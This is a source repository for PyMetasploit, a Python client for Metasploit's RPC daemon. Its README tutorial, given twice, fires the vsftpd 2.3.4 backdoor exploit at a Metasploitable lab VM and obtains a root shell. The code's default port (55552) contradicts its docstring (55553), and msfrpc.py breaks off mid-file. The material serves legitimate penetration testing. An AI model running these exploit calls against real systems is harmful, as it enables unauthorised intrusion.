├── README ├── README.md ├── setup.py └── src ├── metasploit ├── __init__.py ├── msfconsole.py ├── msfrpc.py ├── msfrpcdHandler.py └── utils.py └── scripts ├── pymsfconsole └── pymsfrpc /README: -------------------------------------------------------------------------------- 1 | PyMetasploit - a full-fledged msfrpc library for Python 2 | ------------------------------------------------------- 3 | 4 | PyMetasploit is a full-fledged `msfrpc` library for Python. It is meant to interact with the msfrpcd daemon that comes 5 | with the latest versions of Metasploit. It does NOT interact with the console-based scripts that Metasploit provides 6 | such as msfconsole, msfvenom, etc. Therefore, before you can begin to use this library, you'll need to initialize 7 | `msfrpcd` and optionally (highly recommended) PostgreSQL. 8 | 9 | # Requirements 10 | 11 | Before we begin, you'll need to install the following components: 12 | 13 | * **Metasploit:** https://github.com/rapid7/metasploit-framework 14 | * **PostgreSQL (Optional):** http://www.postgresql.org 15 | 16 | Installing PostgreSQL is highly recommended as it will improve response times when querying `msfrpcd` (Metasploit RPC 17 | daemon) for module information. 18 | 19 | # Tutorial 20 | 21 | ## Starting `msfrpcd` 22 | 23 | `msfrpcd` accepts the following arguments: 24 | 25 | ```bash 26 | $ ./msfrpcd -h 27 | 28 | Usage: msfrpcd 29 | 30 | OPTIONS: 31 | 32 | -P Specify the password to access msfrpcd 33 | -S Disable SSL on the RPC socket 34 | -U Specify the username to access msfrpcd 35 | -a Bind to this IP address 36 | -f Run the daemon in the foreground 37 | -h Help banner 38 | -n Disable database 39 | -p Bind to this port instead of 55553 40 | -u URI for Web server 41 | ``` 42 | 43 | The only parameter that is required to launch `msfrpcd` is the `-P` (password) parameter. This specifies the password 44 | that will be used to authenticate users to the daemon. As of this writing, `msfrpcd` only supports one username/password 45 | combination. However, the same user can log into the daemon multiple times. Unless specified otherwise, the `msfrpcd` 46 | daemon listens on port 55553 on all interfaces (`0.0.0.0:55553`). 47 | 48 | For the purposes of this tutorial let's start the `msfrpcd` daemon with a minimal configuration: 49 | 50 | ```bash 51 | $ ./msfrpcd -P mypassword -n -f -a 127.0.0.1 52 | [*] MSGRPC starting on 0.0.0.0:55553 (SSL):Msg... 53 | [*] MSGRPC ready at 2014-04-19 23:49:39 -0400. 54 | ``` 55 | 56 | The `-f` parameter tells `msfrpcd` to remain in the foreground and the `-n` parameter disables database support. 57 | Finally, the `-a` parameter tells `msfrcpd` to listen for requests only on the local loopback interface (`127.0.0.1`). 58 | 59 | ## `MsfRpcClient` - Brief Overview 60 | 61 | ### Connecting to `msfrpcd` 62 | 63 | Let's get started interacting with the Metasploit framework from python: 64 | 65 | ```python 66 | >>> from metasploit.msfrpc import MsfRpcClient 67 | >>> client = MsfRpcClient('mypassword') 68 | ``` 69 | 70 | The `MsfRpcClient` class provides the core functionality to navigate through the Metasploit framework. Let's take a 71 | look at its underbelly: 72 | 73 | ```python 74 | >>> [m for m in dir(client) if not m.startswith('_')] 75 | ['auth', 'authenticated', 'call', 'client', 'consoles', 'core', 'db', 'jobs', 'login', 'logout', 'modules', 'plugins', 76 | 'port', 'server', 'sessionid', 'sessions', 'ssl', 'uri'] 77 | >>> 78 | ``` 79 | 80 | Like the metasploit framework, `MsfRpcClient` is segmented into different management modules: 81 | 82 | * **`auth`**: manages the authentication of clients for the `msfrpcd` daemon. 83 | * **`consoles`**: manages interaction with consoles/shells created by Metasploit modules. 84 | * **`core`**: manages the Metasploit framework core. 85 | * **`db`**: manages the backend database connectivity for `msfrpcd`. 86 | * **`modules`**: manages the interaction and configuration of Metasploit modules (i.e. exploits, auxiliaries, etc.) 87 | * **`plugins`**: manages the plugins associated with the Metasploit core. 88 | * **`sessions`**: manages the interaction with Metasploit meterpreter sessions. 89 | 90 | ### Running an Exploit 91 | 92 | Just like the Metasploit console, you can retrieve a list of all the modules that are available. Let's take a look at 93 | what exploits are currently loaded: 94 | 95 | ```python 96 | >>> client.modules.exploits 97 | ['windows/wins/ms04_045_wins', 'windows/winrm/winrm_script_exec', 'windows/vpn/safenet_ike_11', 98 | 'windows/vnc/winvnc_http_get', 'windows/vnc/ultravnc_viewer_bof', 'windows/vnc/ultravnc_client', ... 99 | 'aix/rpc_ttdbserverd_realpath', 'aix/rpc_cmsd_opcode21'] 100 | >>> 101 | ``` 102 | 103 | We can also retrieve a list of `auxiliary`, `encoders`, `nops`, `payloads`, and `post` modules using the same syntax: 104 | 105 | ```python 106 | >>> client.modules.auxiliary 107 | ... 108 | >>> client.modules.encoders 109 | ... 110 | >>> client.modules.nops 111 | ... 112 | >>> client.modules.payloads 113 | ... 114 | >>> client.modules.post 115 | ... 116 | ``` 117 | 118 | Now let's interact with one of the `exploit` modules: 119 | 120 | ```python 121 | >>> exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor') 122 | >>> 123 | ``` 124 | 125 | If all is well at this point, you will be able to query the module for various pieces of information such as author, 126 | description, required run-time options, etc. Let's take a look: 127 | 128 | ```python 129 | >>> print exploit.description 130 | 131 | This module exploits a malicious backdoor that was added to the VSFTPD download 132 | archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between 133 | June 30th 2011 and July 1st 2011 according to the most recent information 134 | available. This backdoor was removed on July 3rd 2011. 135 | 136 | >>> exploit.authors 137 | ['hdm ', 'MC '] 138 | >>> exploit.options 139 | ['TCP::send_delay', 'ConnectTimeout', 'SSLVersion', 'VERBOSE', 'SSLCipher', 'CPORT', 'SSLVerifyMode', 'SSL', 'WfsDelay', 140 | 'CHOST', 'ContextInformationFile', 'WORKSPACE', 'EnableContextEncoding', 'TCP::max_send_size', 'Proxies', 141 | 'DisablePayloadHandler', 'RPORT', 'RHOST'] 142 | >>> exploit.required # Required options 143 | ['ConnectTimeout', 'RPORT', 'RHOST'] 144 | ``` 145 | 146 | That's all fine and dandy but you're probably really itching to pop a box with this library right now, amiright!? Let's 147 | do it! Let's use a [Metasploitable 2](http://sourceforge.net/projects/metasploitable/) instance running on a VMWare 148 | machine as our target. Luckily it's running our favorite version of vsFTPd - 2.3.4 - and we already have our exploit 149 | module loaded in PyMetasploit. Our next step is to specify our target: 150 | 151 | ```python 152 | >>> exploit['RHOST'] = '172.16.14.145' # IP of our target host 153 | >>> 154 | ``` 155 | 156 | You can also specify or retrieve other options as well, as long as they're listed in `exploit.options`, using the same 157 | method as shown above. For example, let's get and set the `VERBOSE` option: 158 | 159 | ```python 160 | >>> exploit['VERBOSE'] 161 | False 162 | >>> exploit['VERBOSE'] = True 163 | >>> exploit['VERBOSE'] 164 | True 165 | >>> 166 | ``` 167 | 168 | Awesome! So now we're ready to execute our exploit. All we need to do is select a payload: 169 | 170 | ```python 171 | >>> exploit.payloads 172 | ['cmd/unix/interact'] 173 | >>> 174 | ``` 175 | 176 | At this point, this exploit only supports one payload (`cmd/unix/interact`). So let's pop a shell: 177 | 178 | ```python 179 | >>> exploit.execute(payload='cmd/unix/interact') 180 | {'job_id': 1, 'uuid': '3whbuevf'} 181 | >>> 182 | ``` 183 | 184 | Excellent! It looks like our exploit ran successfully. How can we tell? The `job_id` key contains a number. If the 185 | module failed to execute for any reason, `job_id` would be `None`. For long running modules, you may want to poll the 186 | job list by checking `client.jobs.list`. Since this is a fairly quick exploit, the job list will most likely be empty 187 | and if we managed to pop our box, we might see something nice in the sessions list: 188 | 189 | ```python 190 | >>> client.sessions.list 191 | {1: {'info': '', 'username': 'ndouba', 'session_port': 21, 'via_payload': 'payload/cmd/unix/interact', 192 | 'uuid': '5orqnnyv', 'tunnel_local': '172.16.14.1:58429', 'via_exploit': 'exploit/unix/ftp/vsftpd_234_backdoor', 193 | 'exploit_uuid': '3whbuevf', 'tunnel_peer': '172.16.14.145:6200', 'workspace': 'false', 'routes': '', 194 | 'target_host': '172.16.14.145', 'type': 'shell', 'session_host': '172.16.14.145', 'desc': 'Command shell'}} 195 | >>> 196 | ``` 197 | 198 | Success! We managed to pop the box! `client.sessions.list` shows us that we have a live session with the same `uuid` as 199 | the one we received when executing the module earlier (`exploit.execute()`). Let's interact with the shell: 200 | 201 | ```python 202 | >>> shell = client.sessions.session(1) 203 | >>> shell.write('whoami\n') 204 | >>> print shell.read() 205 | root 206 | >>> # Happy dance! 207 | ``` 208 | 209 | This is just a sample of how powerful PyMetasploit can be. Use your powers wisely, Grasshopper, because with great power 210 | comes great responsibility – unless you are a banker. 211 | 212 | # Questions? 213 | 214 | Email me at ndouba.at.gmail.com 215 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | PyMetasploit - a full-fledged msfrpc library for Python 2 | ------------------------------------------------------- 3 | 4 | PyMetasploit is a full-fledged `msfrpc` library for Python. It is meant to interact with the msfrpcd daemon that comes 5 | with the latest versions of Metasploit. It does NOT interact with the console-based scripts that Metasploit provides 6 | such as msfconsole, msfvenom, etc. Therefore, before you can begin to use this library, you'll need to initialize 7 | `msfrpcd` and optionally (highly recommended) PostgreSQL. 8 | 9 | # Requirements 10 | 11 | Before we begin, you'll need to install the following components: 12 | 13 | * **Metasploit:** https://github.com/rapid7/metasploit-framework 14 | * **PostgreSQL (Optional):** http://www.postgresql.org 15 | 16 | Installing PostgreSQL is highly recommended as it will improve response times when querying `msfrpcd` (Metasploit RPC 17 | daemon) for module information. 18 | 19 | # Tutorial 20 | 21 | ## Starting `msfrpcd` 22 | 23 | `msfrpcd` accepts the following arguments: 24 | 25 | ```bash 26 | $ ./msfrpcd -h 27 | 28 | Usage: msfrpcd 29 | 30 | OPTIONS: 31 | 32 | -P Specify the password to access msfrpcd 33 | -S Disable SSL on the RPC socket 34 | -U Specify the username to access msfrpcd 35 | -a Bind to this IP address 36 | -f Run the daemon in the foreground 37 | -h Help banner 38 | -n Disable database 39 | -p Bind to this port instead of 55553 40 | -u URI for Web server 41 | ``` 42 | 43 | The only parameter that is required to launch `msfrpcd` is the `-P` (password) parameter. This specifies the password 44 | that will be used to authenticate users to the daemon. As of this writing, `msfrpcd` only supports one username/password 45 | combination. However, the same user can log into the daemon multiple times. Unless specified otherwise, the `msfrpcd` 46 | daemon listens on port 55553 on all interfaces (`0.0.0.0:55553`). 47 | 48 | For the purposes of this tutorial let's start the `msfrpcd` daemon with a minimal configuration: 49 | 50 | ```bash 51 | $ ./msfrpcd -P mypassword -n -f -a 127.0.0.1 52 | [*] MSGRPC starting on 0.0.0.0:55553 (SSL):Msg... 53 | [*] MSGRPC ready at 2014-04-19 23:49:39 -0400. 54 | ``` 55 | 56 | The `-f` parameter tells `msfrpcd` to remain in the foreground and the `-n` parameter disables database support. 57 | Finally, the `-a` parameter tells `msfrcpd` to listen for requests only on the local loopback interface (`127.0.0.1`). 58 | 59 | ## `MsfRpcClient` - Brief Overview 60 | 61 | ### Connecting to `msfrpcd` 62 | 63 | Let's get started interacting with the Metasploit framework from python: 64 | 65 | ```python 66 | >>> from metasploit.msfrpc import MsfRpcClient 67 | >>> client = MsfRpcClient('mypassword') 68 | ``` 69 | 70 | The `MsfRpcClient` class provides the core functionality to navigate through the Metasploit framework. Let's take a 71 | look at its underbelly: 72 | 73 | ```python 74 | >>> [m for m in dir(client) if not m.startswith('_')] 75 | ['auth', 'authenticated', 'call', 'client', 'consoles', 'core', 'db', 'jobs', 'login', 'logout', 'modules', 'plugins', 76 | 'port', 'server', 'sessionid', 'sessions', 'ssl', 'uri'] 77 | >>> 78 | ``` 79 | 80 | Like the metasploit framework, `MsfRpcClient` is segmented into different management modules: 81 | 82 | * **`auth`**: manages the authentication of clients for the `msfrpcd` daemon. 83 | * **`consoles`**: manages interaction with consoles/shells created by Metasploit modules. 84 | * **`core`**: manages the Metasploit framework core. 85 | * **`db`**: manages the backend database connectivity for `msfrpcd`. 86 | * **`modules`**: manages the interaction and configuration of Metasploit modules (i.e. exploits, auxiliaries, etc.) 87 | * **`plugins`**: manages the plugins associated with the Metasploit core. 88 | * **`sessions`**: manages the interaction with Metasploit meterpreter sessions. 89 | 90 | ### Running an Exploit 91 | 92 | Just like the Metasploit console, you can retrieve a list of all the modules that are available. Let's take a look at 93 | what exploits are currently loaded: 94 | 95 | ```python 96 | >>> client.modules.exploits 97 | ['windows/wins/ms04_045_wins', 'windows/winrm/winrm_script_exec', 'windows/vpn/safenet_ike_11', 98 | 'windows/vnc/winvnc_http_get', 'windows/vnc/ultravnc_viewer_bof', 'windows/vnc/ultravnc_client', ... 99 | 'aix/rpc_ttdbserverd_realpath', 'aix/rpc_cmsd_opcode21'] 100 | >>> 101 | ``` 102 | 103 | We can also retrieve a list of `auxiliary`, `encoders`, `nops`, `payloads`, and `post` modules using the same syntax: 104 | 105 | ```python 106 | >>> client.modules.auxiliary 107 | ... 108 | >>> client.modules.encoders 109 | ... 110 | >>> client.modules.nops 111 | ... 112 | >>> client.modules.payloads 113 | ... 114 | >>> client.modules.post 115 | ... 116 | ``` 117 | 118 | Now let's interact with one of the `exploit` modules: 119 | 120 | ```python 121 | >>> exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor') 122 | >>> 123 | ``` 124 | 125 | If all is well at this point, you will be able to query the module for various pieces of information such as author, 126 | description, required run-time options, etc. Let's take a look: 127 | 128 | ```python 129 | >>> print exploit.description 130 | 131 | This module exploits a malicious backdoor that was added to the VSFTPD download 132 | archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between 133 | June 30th 2011 and July 1st 2011 according to the most recent information 134 | available. This backdoor was removed on July 3rd 2011. 135 | 136 | >>> exploit.authors 137 | ['hdm ', 'MC '] 138 | >>> exploit.options 139 | ['TCP::send_delay', 'ConnectTimeout', 'SSLVersion', 'VERBOSE', 'SSLCipher', 'CPORT', 'SSLVerifyMode', 'SSL', 'WfsDelay', 140 | 'CHOST', 'ContextInformationFile', 'WORKSPACE', 'EnableContextEncoding', 'TCP::max_send_size', 'Proxies', 141 | 'DisablePayloadHandler', 'RPORT', 'RHOST'] 142 | >>> exploit.required # Required options 143 | ['ConnectTimeout', 'RPORT', 'RHOST'] 144 | ``` 145 | 146 | That's all fine and dandy but you're probably really itching to pop a box with this library right now, amiright!? Let's 147 | do it! Let's use a [Metasploitable 2](http://sourceforge.net/projects/metasploitable/) instance running on a VMWare 148 | machine as our target. Luckily it's running our favorite version of vsFTPd - 2.3.4 - and we already have our exploit 149 | module loaded in PyMetasploit. Our next step is to specify our target: 150 | 151 | ```python 152 | >>> exploit['RHOST'] = '172.16.14.145' # IP of our target host 153 | >>> 154 | ``` 155 | 156 | You can also specify or retrieve other options as well, as long as they're listed in `exploit.options`, using the same 157 | method as shown above. For example, let's get and set the `VERBOSE` option: 158 | 159 | ```python 160 | >>> exploit['VERBOSE'] 161 | False 162 | >>> exploit['VERBOSE'] = True 163 | >>> exploit['VERBOSE'] 164 | True 165 | >>> 166 | ``` 167 | 168 | Awesome! So now we're ready to execute our exploit. All we need to do is select a payload: 169 | 170 | ```python 171 | >>> exploit.payloads 172 | ['cmd/unix/interact'] 173 | >>> 174 | ``` 175 | 176 | At this point, this exploit only supports one payload (`cmd/unix/interact`). So let's pop a shell: 177 | 178 | ```python 179 | >>> exploit.execute(payload='cmd/unix/interact') 180 | {'job_id': 1, 'uuid': '3whbuevf'} 181 | >>> 182 | ``` 183 | 184 | Excellent! It looks like our exploit ran successfully. How can we tell? The `job_id` key contains a number. If the 185 | module failed to execute for any reason, `job_id` would be `None`. For long running modules, you may want to poll the 186 | job list by checking `client.jobs.list`. Since this is a fairly quick exploit, the job list will most likely be empty 187 | and if we managed to pop our box, we might see something nice in the sessions list: 188 | 189 | ```python 190 | >>> client.sessions.list 191 | {1: {'info': '', 'username': 'ndouba', 'session_port': 21, 'via_payload': 'payload/cmd/unix/interact', 192 | 'uuid': '5orqnnyv', 'tunnel_local': '172.16.14.1:58429', 'via_exploit': 'exploit/unix/ftp/vsftpd_234_backdoor', 193 | 'exploit_uuid': '3whbuevf', 'tunnel_peer': '172.16.14.145:6200', 'workspace': 'false', 'routes': '', 194 | 'target_host': '172.16.14.145', 'type': 'shell', 'session_host': '172.16.14.145', 'desc': 'Command shell'}} 195 | >>> 196 | ``` 197 | 198 | Success! We managed to pop the box! `client.sessions.list` shows us that we have a live session with the same `uuid` as 199 | the one we received when executing the module earlier (`exploit.execute()`). Let's interact with the shell: 200 | 201 | ```python 202 | >>> shell = client.sessions.session(1) 203 | >>> shell.write('whoami\n') 204 | >>> print shell.read() 205 | root 206 | >>> # Happy dance! 207 | ``` 208 | 209 | This is just a sample of how powerful PyMetasploit can be. Use your powers wisely, Grasshopper, because with great power 210 | comes great responsibility – unless you are a banker. 211 | 212 | # Questions? 213 | 214 | Email me at ndouba.at.gmail.com 215 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from setuptools import setup, find_packages 4 | from os import path 5 | 6 | def read(fname): 7 | return open(path.join(path.dirname(__file__), fname)).read() 8 | 9 | setup( 10 | name='pymetasploit', 11 | author='Nadeem Douba', 12 | version='1.1', 13 | author_email='ndouba@gmail.com', 14 | description='A full-fledged msfrpc library for Metasploit framework.', 15 | license='GPL', 16 | packages=find_packages('src'), 17 | package_dir={ '' : 'src' }, 18 | scripts=[ 19 | 'src/scripts/pymsfconsole', 20 | 'src/scripts/pymsfrpc' 21 | ], 22 | install_requires=[ 23 | 'msgpack-python>=0.1.12' 24 | ], 25 | url='https://github.com/allfro/pymetasploit', 26 | download_url='https://github.com/allfro/pymetasploit/zipball/master', 27 | long_description=read('README') 28 | ) 29 | -------------------------------------------------------------------------------- /src/metasploit/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | __author__ = 'Nadeem Douba' 4 | __copyright__ = 'Copyright 2012, PyMetasploit Project' 5 | __credits__ = [] 6 | 7 | __license__ = 'GPL' 8 | __version__ = '0.1' 9 | __maintainer__ = 'Nadeem Douba' 10 | __email__ = 'ndouba@gmail.com' 11 | __status__ = 'Development' 12 | 13 | __all__ = [ 14 | 'msfconsole', 15 | 'msfrpc', 16 | 'utils' 17 | ] -------------------------------------------------------------------------------- /src/metasploit/msfconsole.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from threading import Timer, Lock 4 | from .msfrpc import ShellSession 5 | 6 | __author__ = 'Nadeem Douba' 7 | __copyright__ = 'Copyright 2012, PyMetasploit Project' 8 | __credits__ = [] 9 | 10 | __license__ = 'GPL' 11 | __version__ = '0.3' 12 | __maintainer__ = 'Nadeem Douba' 13 | __email__ = 'ndouba@cygnos.com' 14 | __status__ = 'Development' 15 | 16 | __all__ = [ 17 | 'MsfRpcConsole' 18 | ] 19 | 20 | 21 | class MsfRpcConsoleType: 22 | Console = 0 23 | Meterpreter = 1 24 | Shell = 2 25 | 26 | 27 | class MsfRpcConsole(object): 28 | 29 | def __init__(self, rpc, sessionid=None, cb=None): 30 | """ 31 | Emulates the msfconsole in msf except over RPC. 32 | 33 | Mandatory Arguments: 34 | - rpc : an msfrpc client object 35 | 36 | Optional Arguments: 37 | - cb : a callback function that gets called when data is received from the console. 38 | """ 39 | 40 | self.callback = cb 41 | 42 | if sessionid is not None: 43 | self.console = rpc.sessions.session(sessionid) 44 | self.type_ = MsfRpcConsoleType.Shell if isinstance(self.console, ShellSession) else MsfRpcConsoleType.Meterpreter 45 | self.prompt = '>>> ' 46 | self.callback(dict(data='', prompt=self.prompt)) 47 | else: 48 | self.console = rpc.consoles.console() 49 | self.type_ = MsfRpcConsoleType.Console 50 | self.prompt = '' 51 | 52 | self.lock = Lock() 53 | self.running = True 54 | self._poller() 55 | 56 | def _poller(self): 57 | self.lock.acquire() 58 | if not self.running: 59 | return 60 | d = self.console.read() 61 | self.lock.release() 62 | 63 | if self.type_ == MsfRpcConsoleType.Console: 64 | if d['data'] or self.prompt != d['prompt']: 65 | self.prompt = d['prompt'] 66 | if self.callback is not None: 67 | self.callback(d) 68 | else: 69 | print(d['data']) 70 | else: 71 | if d: 72 | if self.callback is not None: 73 | self.callback(dict(data=d, prompt=self.prompt)) 74 | else: 75 | print(d) 76 | Timer(0.5, self._poller).start() 77 | 78 | def execute(self, command): 79 | """ 80 | Execute a command on the console. 81 | 82 | Mandatory Arguments: 83 | - command : the command to execute 84 | """ 85 | if not command.endswith('\n'): 86 | command += '\n' 87 | self.lock.acquire() 88 | self.console.write(command) 89 | self.lock.release() 90 | 91 | def __del__(self): 92 | self.lock.acquire() 93 | if self.type_ == MsfRpcConsoleType.Console: 94 | self.console.destroy() 95 | self.running = False 96 | self.lock.release() 97 | -------------------------------------------------------------------------------- /src/metasploit/msfrpc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from http.client import HTTPConnection, HTTPSConnection 3 | import ssl 4 | from numbers import Number 5 | 6 | from msgpack import packb, unpackb 7 | 8 | __author__ = 'Nadeem Douba' 9 | __copyright__ = 'Copyright 2012, PyMetasploit Project' 10 | __credits__ = [] 11 | 12 | __license__ = 'GPL' 13 | __version__ = '0.4' 14 | __maintainer__ = 'Nadeem Douba' 15 | __email__ = 'ndouba@gmail.com' 16 | __status__ = 'Development' 17 | 18 | __all__ = ['MsfRpcError', 19 | 'MsfRpcMethod', 20 | 'MsfPlugins', 21 | 'MsfRpcClient', 22 | 'MsfTable', 23 | 'NotesTable', 24 | 'LootsTable', 25 | 'CredsTable', 26 | 'AuthInfoTable', 27 | 'HostsTable', 28 | 'ServicesTable', 29 | 'VulnsTable', 30 | 'EventsTable', 31 | 'ClientsTable', 32 | 'Workspace', 33 | 'MsfManager', 34 | 'WorkspaceManager', 35 | 'DbManager', 36 | 'AuthManager', 37 | 'PluginManager', 38 | 'JobManager', 39 | 'CoreManager', 40 | 'MsfModule', 41 | 'ExploitModule', 42 | 'PostModule', 43 | 'EncoderModule', 44 | 'AuxiliaryModule', 45 | 'PayloadModule', 46 | 'NopModule', 47 | 'ModuleManager', 48 | 'MsfSession', 49 | 'MeterpreterSession', 50 | 'ShellSession', 51 | 'SessionManager', 52 | 'MsfConsole', 53 | 'ConsoleManager', 54 | 'ReportFilter', 55 | 'ReportFilterQuery'] 56 | 57 | 58 | class MsfRpcError(Exception): 59 | pass 60 | 61 | 62 | class MsfRpcMethod(object): 63 | AuthLogin = 'auth.login' 64 | AuthLogout = 'auth.logout' 65 | AuthTokenList = 'auth.token_list' 66 | AuthTokenAdd = 'auth.token_add' 67 | AuthTokenGenerate = 'auth.token_generate' 68 | AuthTokenRemove = 'auth.token_remove' 69 | ConsoleCreate = 'console.create' 70 | ConsoleList = 'console.list' 71 | ConsoleDestroy = 'console.destroy' 72 | ConsoleRead = 'console.read' 73 | ConsoleWrite = 'console.write' 74 | ConsoleTabs = 'console.tabs' 75 | ConsoleSessionKill = 'console.session_kill' 76 | ConsoleSessionDetach = 'console.session_detach' 77 | CoreVersion = 'core.version' 78 | CoreStop = 'core.stop' 79 | CoreSetG = 'core.setg' 80 | CoreUnsetG = 'core.unsetg' 81 | CoreSave = 'core.save' 82 | CoreReloadModules = 'core.reload_modules' 83 | CoreModuleStats = 'core.module_stats' 84 | CoreAddModulePath = 'core.add_module_path' 85 | CoreThreadList = 'core.thread_list' 86 | CoreThreadKill = 'core.thread_kill' 87 | DbHosts = 'db.hosts' 88 | DbServices = 'db.services' 89 | DbVulns = 'db.vulns' 90 | DbWorkspaces = 'db.workspaces' 91 | DbCurrentWorkspace = 'db.current_workspace' 92 | DbGetWorkspace = 'db.get_workspace' 93 | DbSetWorkspace = 'db.set_workspace' 94 | DbDelWorkspace = 'db.del_workspace' 95 | DbAddWorkspace = 'db.add_workspace' 96 | DbGetHost = 'db.get_host' 97 | DbReportHost = 'db.report_host' 98 | DbReportService = 'db.report_service' 99 | DbGetService = 'db.get_service' 100 | DbGetNote = 'db.get_note' 101 | DbGetClient = 'db.get_client' 102 | DbReportClient = 'db.report_client' 103 | DbReportNote = 'db.report_note' 104 | DbNotes = 'db.notes' 105 | DbReportAuthInfo = 'db.report_auth_info' 106 | DbGetAuthInfo = 'db.get_auth_info' 107 | DbGetRef = 'db.get_ref' 108 | DbDelVuln = 'db.del_vuln' 109 | DbDelNote = 'db.del_note' 110 | DbDelService = 'db.del_service' 111 | DbDelHost = 'db.del_host' 112 | DbReportVuln = 'db.report_vuln' 113 | DbEvents = 'db.events' 114 | DbReportEvent = 'db.report_event' 115 | DbReportLoot = 'db.report_loot' 116 | DbLoots = 'db.loots' 117 | DbReportCred = 'db.report_cred' 118 | DbCreds = 'db.creds' 119 | DbImportData = 'db.import_data' 120 | DbGetVuln = 'db.get_vuln' 121 | DbClients = 'db.clients' 122 | DbDelClient = 'db.del_client' 123 | DbDriver = 'db.driver' 124 | DbConnect = 'db.connect' 125 | DbStatus = 'db.status' 126 | DbDisconnect = 'db.disconnect' 127 | JobList = 'job.list' 128 | JobStop = 'job.stop' 129 | JobInfo = 'job.info' 130 | ModuleExploits = 'module.exploits' 131 | ModuleAuxiliary = 'module.auxiliary' 132 | ModulePayloads = 'module.payloads' 133 | ModuleEncoders = 'module.encoders' 134 | ModuleNops = 'module.nops' 135 | ModulePost = 'module.post' 136 | ModuleInfo = 'module.info' 137 | ModuleCompatiblePayloads = 'module.compatible_payloads' 138 | ModuleCompatibleSessions = 'module.compatible_sessions' 139 | ModuleTargetCompatiblePayloads = 'module.target_compatible_payloads' 140 | ModuleOptions = 'module.options' 141 | ModuleExecute = 'module.execute' 142 | ModuleEncodeFormats = 'module.encode_formats' 143 | ModuleEncode = 'module.encode' 144 | PluginLoad = 'plugin.load' 145 | PluginUnload = 'plugin.unload' 146 | PluginLoaded = 'plugin.loaded' 147 | SessionList = 'session.list' 148 | SessionStop = 'session.stop' 149 | SessionShellRead = 'session.shell_read' 150 | SessionShellWrite = 'session.shell_write' 151 | SessionShellUpgrade = 'session.shell_upgrade' 152 | SessionMeterpreterRead = 'session.meterpreter_read' 153 | SessionRingRead = 'session.ring_read' 154 | SessionRingPut = 'session.ring_put' 155 | SessionRingLast = 'session.ring_last' 156 | SessionRingClear = 'session.ring_clear' 157 | SessionMeterpreterWrite = 'session.meterpreter_write' 158 | SessionMeterpreterSessionDetach = 'session.meterpreter_session_detach' 159 | SessionMeterpreterSessionKill = 'session.meterpreter_session_kill' 160 | SessionMeterpreterTabs = 'session.meterpreter_tabs' 161 | SessionMeterpreterRunSingle = 'session.meterpreter_run_single' 162 | SessionMeterpreterScript = 'session.meterpreter_script' 163 | SessionMeterpreterDirectorySeparator = 'session.meterpreter_directory_separator' 164 | SessionCompatibleModules = 'session.compatible_modules' 165 | 166 | 167 | class MsfPlugins(object): 168 | IpsFilter = "ips_filter" 169 | SocketLogger = "socket_logger" 170 | DbTracker = "db_tracker" 171 | Sounds = "sounds" 172 | AutoAddRoute = "auto_add_route" 173 | DbCredCollect = "db_credcollect" 174 | 175 | 176 | class MsfRpcClient(object): 177 | 178 | _headers = { 179 | 'Content-Type' : 'binary/message-pack' 180 | } 181 | 182 | def __init__(self, password, **kwargs): 183 | """ 184 | Connects and authenticates to a Metasploit RPC daemon. 185 | 186 | Mandatory Arguments: 187 | - password : the password used to authenticate to msfrpcd 188 | 189 | Optional Keyword Arguments: 190 | - username : the username used to authenticate to msfrpcd (default: msf) 191 | - uri : the msfrpcd URI (default: /api/) 192 | - port : the remote msfrpcd port to connect to (default: 55553) 193 | - server : the remote server IP address hosting msfrpcd (default: localhost) 194 | - ssl : if true uses SSL else regular HTTP (default: SSL enabled) 195 | - verify : if true, verify SSL cert when using SSL (default: False) 196 | """ 197 | self.uri = kwargs.get('uri', '/api/') 198 | self.port = kwargs.get('port', 55552) 199 | self.server = kwargs.get('server', '127.0.0.1') 200 | self.ssl = kwargs.get('ssl', True) 201 | self.verify_ssl = kwargs.get('verify', False) 202 | self.sessionid = kwargs.get('token') 203 | if self.ssl: 204 | if self.verify_ssl: 205 | self.client = HTTPSConnection(self.server, self.port) 206 | else: 207 | self.client = HTTPSConnection(self.server, self.port, context=ssl._create_unverified_context()) 208 | else: 209 | self.client = HTTPConnection(self.server, self.port) 210 | self.login(kwargs.get('username', 'msf'), password) 211 | 212 | def unpackb_wrapper(self, data): 213 | return self.unpackb_wrapf(data) 214 | 215 | def unpackb_wrapf(self, item): 216 | if type(item) == bytes: 217 | return item.decode('ascii') 218 | if type(item) == list: 219 | nl = [] 220 | for j in item: 221 | nl.append(self.unpackb_wrapf(j)) 222 | return nl 223 | if type(item) == dict: 224 | nd = {} 225 | for j in item: 226 | k = j 227 | if type(k) == bytes: 228 | k = j.decode('ascii') 229 | nd[k] = self.unpackb_wrapf(item[j]) 230 | return nd 231 | return item 232 | 233 | 234 | def call(self, method, *args): 235 | """ 236 | Builds an RPC request and retrieves the result. 237 | 238 | Mandatory Arguments: 239 | - method : the RPC call method name (e.g. db.clients) 240 | 241 | Optional Arguments: 242 | - *args : the RPC method's parameters if necessary 243 | 244 | Returns : RPC call result 245 | """ 246 | l = [method] 247 | l.extend(args) 248 | if method == MsfRpcMethod.AuthLogin: 249 | self.client.request('POST', self.uri, packb(l), self._headers) 250 | r = self.client.getresponse() 251 | if r.status == 200: 252 | return self.unpackb_wrapper(unpackb(r.read())) 253 | raise MsfRpcError('An unknown error has occurred while logging in.') 254 | elif self.authenticated: 255 | l.insert(1, self.sessionid) 256 | self.client.request('POST', self.uri, packb(l), self._headers) 257 | r = self.client.getresponse() 258 | if r.status == 200: 259 | result = self.unpackb_wrapper(unpackb(r.read())) 260 | if 'error' in result: 261 | raise MsfRpcError(result['error_message']) 262 | return result 263 | raise MsfRpcError('An unknown error has occurred while performing the RPC call.') 264 | raise MsfRpcError('You cannot perform this call because you are not authenticated.') 265 | 266 | @property 267 | def core(self): 268 | """ 269 | The msf RPC core manager. 270 | """ 271 | return CoreManager(self) 272 | 273 | @property 274 | def modules(self): 275 | """ 276 | The msf RPC modules RPC manager. 277 | """ 278 | return ModuleManager(self) 279 | 280 